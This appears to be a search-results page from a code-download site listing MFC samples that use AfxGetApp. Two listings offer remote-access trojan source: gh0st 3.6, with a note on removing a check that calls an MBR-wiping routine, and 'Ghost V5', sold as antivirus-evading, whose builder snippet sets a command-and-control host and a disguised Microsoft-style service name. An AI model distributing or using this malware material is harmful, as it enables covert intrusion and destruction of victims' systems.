Welcome![Sign In][Sign Up]
Location:
Search - AfxGetApp

Search list

[GUI DevelopVC++(MFC)Face

Description: 说明: 1.copy these four files to your pragram folder, 2.add \"*.Lib\",\"*.h\" to the project if USING MFC DLL, the files in \"DLL\" Folder, if using static lib,the files in \"static\" folder 3.add #include\"SkinMagicLib.h\" to the C*APP.cpp 4.In C*APP::InitInstance(), before show window, add: InitSkinMagicLib( GetModuleHandle(NULL), NULL, NULL,NULL) LoadSkinFile(\".\\\\Tusk.smf\") SetWindowSkin(AfxGetApp()->m_pMainWnd->m_hWnd , \"MainFrame\" ) SetDialogSkin(\"Dialog\") -: 1.copy these four files to your pragram folder, 2.add "*. Lib" "*. h" to the project if USING MFC DLL, the files in "DLL" Folder, if using static lib, the files in the "static" folder 3.add # include "sk inMagicLib.h "to the C * C * APP.cpp 4.In APP : : InitInstance (), before show window, add : InitSkinMagicLib (GetModuleHandle (NULL) NULL, NULL, NULL) LoadSkinFile (. " \\ \\ Tusk.smf ") SetWindo wSkin (AfxGetApp () -
Platform: | Size: 502104 | Author: 好军 | Hits:

[WEB CodeAfxGetApp

Description: AfxGetApp()应用,比较简单的说明,我从网上找的。-AfxGetApp (), relatively simple explanation, I find from the Internet.
Platform: | Size: 551432 | Author: 龙威 | Hits:

[GUI DevelopVC++(MFC)Face

Description: 说明: 1.copy these four files to your pragram folder, 2.add "*.Lib","*.h" to the project if USING MFC DLL, the files in "DLL" Folder, if using static lib,the files in "static" folder 3.add #include"SkinMagicLib.h" to the C*APP.cpp 4.In C*APP::InitInstance(), before show window, add: InitSkinMagicLib( GetModuleHandle(NULL), NULL, NULL,NULL) LoadSkinFile(".\\Tusk.smf") SetWindowSkin(AfxGetApp()->m_pMainWnd->m_hWnd , "MainFrame" ) SetDialogSkin("Dialog") -: 1.copy these four files to your pragram folder, 2.add "*. Lib" "*. h" to the project if USING MFC DLL, the files in "DLL" Folder, if using static lib, the files in the "static" folder 3.add# include "sk inMagicLib.h "to the C* C* APP.cpp 4.In APP : : InitInstance (), before show window, add : InitSkinMagicLib (GetModuleHandle (NULL) NULL, NULL, NULL) LoadSkinFile (. " \ \ Tusk.smf ") SetWindo wSkin (AfxGetApp ()-
Platform: | Size: 501760 | Author: 好军 | Hits:

[DocumentsAfxGetApp

Description: AfxGetApp()应用,比较简单的说明,我从网上找的。-AfxGetApp (), relatively simple explanation, I find from the Internet.
Platform: | Size: 550912 | Author: 龙威 | Hits:

[Internet-Networkgh0st

Description: gh0st3.6源码 CString str GetDlgItemText(IDC_STATIC_VER, str) if (str.Find(strVer) == -1) ((CGh0stApp *)AfxGetApp())->KillMBR() GetParent()->GetWindowText(str) if (str.Find(strTitle) == -1) ((CGh0stApp *)AfxGetApp())->KillMBR() */ // 以上代码全部注释 即可去除效验-gh0st
Platform: | Size: 689152 | Author: xiaolong | Hits:

[Windows DevelopLogTest

Description: ClogFileEx的事例 CLogFileEx是别人设计的日志记录类,我加入了事例代码 1、将ClogFileEx目录拷贝到工程所在目录 2、将两个文件加入到工程中 3、打开StdAfx.h 输入 #define LogFile 如果要关闭日志功能只需注释改行 4、在theApp中 定义public #ifdef LogFile CLogFile m_LogFile #endif 5、在应用程序InitInstance中 #ifdef LogFile m_LogFile.Set_cFileName("test.log") m_LogFile.Set_cModuleName(" View") m_LogFile.Set_cProcName(" PreCreateWindow") m_LogFile.AddRecord(" Start log\n\t") #endif 6、在JPClientWatch.h #ifdef _LOGFILE #include "CLogFileEx/LogFile.h" #endif 7、 在其他的引用地方输入: #ifdef _LOGFILE CLogTestApp* theApp= (CLogTestApp*)AfxGetApp() theApp->m_LogFile.Set_cModuleName(" View") theApp->m_LogFile.Set_cProcName(" PreCreateWindow") theApp->m_LogFile.AddRecord(" Start log\n\t") #endif -ClogFileEx example
Platform: | Size: 135168 | Author: cyc | Hits:

[GUI DevelopVC

Description: vc经典常用命令集合,如在视图类中获取框架类AfxGetApp()-vc
Platform: | Size: 53248 | Author: 曾博 | Hits:

[Graph Drawingaa

Description: 在DLG中获得View的指针 CMainFrame* frm=(CMainFrame*)AfxGetApp()->m_pMainWnd CAaView * pView=(CAaView*)frm->GetActiveView() CDC *pDC=pView->GetDC() -Obtain View pointer in DLG
Platform: | Size: 1947648 | Author: 顾生普 | Hits:

[assembly languageV5YM

Description: 鬼影V5源码 生成免杀 去验证版 免杀好做。去后门-// Build.cpp : implementation file // #include stdafx.h #include 客户端.h #include Build.h #include encode.h #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__ #endif ///////////////////////////////////////////////////////////////////////////// // CBuild dialog CBuild::CBuild(CWnd* pParent /*=NULL*/) : CDialog(CBuild::IDD, pParent) { //{{AFX_DATA_INIT(CBuild) m_host = ((CMyApp*)AfxGetApp())->m_IniFile.GetString(_T( Build ), _T( HOST ), 36936.f3322.org ) m_port = ((CMyApp*)AfxGetApp())->m_IniFile.GetString(_T( Settings ), _T( Port ), 9777 ) m_ServiceName = ((CMyApp*)AfxGetApp())->m_IniFile.GetString(_T( Build ), _T( ServiceName ), _T( Microsoft System conversion key service )) m_ServiceDisplayName = ((CMyApp*)AfxGetApp())->m_IniFile.GetString(_T( Build ), _T( DisplayName ), _T( Microsoft Service transition system based on the bottom )) m_ServiceDescription = ((CMyApp*)AfxGetApp())->m_In
Platform: | Size: 1248256 | Author: 雨泽 | Hits:

[Windows Developmouseprogress_demo

Description: 理论上利用SetCursor(…)函数 , 应该可以在任何时候,任何地方修改鼠标形状 ,但实际情况却并非如此 , 每次调用OnMouseMove时候(即每次鼠标移动时) , 系统会调用程序默认原来的一个光标来重新绘制鼠标形状-HCURSOR hCursor = (HCURSOR)AfxGetApp()->LoadStandardCursor(IDC_CROSS) ::SetCursor(hCursor)
Platform: | Size: 61440 | Author: kkk | Hits:

[Program docMFC-handle-conversion

Description: 一般我们使用的框架是VC提供的Wizard生成的MFC App Wizard(exe)框架,无论是多文档还是单文档,都存在指针获取和操作 问题。 下面这节内容主要是一般的框架,然后再讲多线程中的指针使用。使用到的类需要包含响应的头文件。 首先一般获得本类(视,文档,对话框都支持)实例指针 this,用this的目的,主要可以通过类中的函数向其他类或者函数中发指针,以便于在非本类中操作和使用本类中的功能。 这其中的关键在于理解 m_pMainWnd, AfxGetApp(),AfxGetMainWnd() 的意义! -General framework we are using the MFC App Wizard (exe) provides the framework Wizard VC generated, whether it is a single document or multiple documents, there are pointers to access and operational problems. The following section is primarily aimed at the general frame, and then repeat that multiple threads using a pointer. Use the class needs to contain the response headers. First, get this general class (depending on the document, dialog support) instance pointer this, with this purpose, the main pointer can be made through the class of functions to other classes or functions in order to operate in this class and use non this class features. Which is the key to understanding m_pMainWnd, AfxGetApp (), AfxGetMainWnd () meaning!
Platform: | Size: 13312 | Author: kongzhizhu | Hits:

CodeBus www.codebus.net